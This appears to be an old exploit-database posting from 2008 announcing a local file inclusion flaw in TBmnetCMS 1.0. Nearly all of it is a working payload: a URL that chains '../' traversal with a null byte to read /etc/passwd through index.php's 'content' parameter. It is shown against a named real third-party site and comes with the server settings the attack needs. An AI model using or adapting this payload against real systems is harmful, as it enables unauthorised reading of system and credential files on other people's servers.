TBmnetCMS 1.0 (index.php content) Local File Inclusion Vulnerability

====================================================================
TBmnetCMS 1.0 (index.php content) Local File Inclusion Vulnerability
====================================================================


[~]-------------------------------------------------------------------------------------------------------------
[~] TBmnetCMS v1.0 (index.php?content) Local File Inclusion Vulnerability
[~]
[~] http://www.tbmnet.de
[~]  
[~] 
[~] ------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 3.11.2008
[~]
[~] ------------------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell 
[~]
[~]-------------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/index.php?content=../../../../../../../../../../../../../../etc/passwd%00
[~]  
[~] Ex :-

[~] http://www.valtellinux.it/meeting/index.php?content=../../../../../../../../../../../../../../etc/passwd%00
[~]----------------------------------------------------------------------------------------------------------------------
[~] NEED:- magic_quotes=OFF
[~]
[~] NEED:- disable_functions=ini_set 
[~]----------------------------------------------------------------------------------------------------------------------



#  0day.today [2018-01-04]  #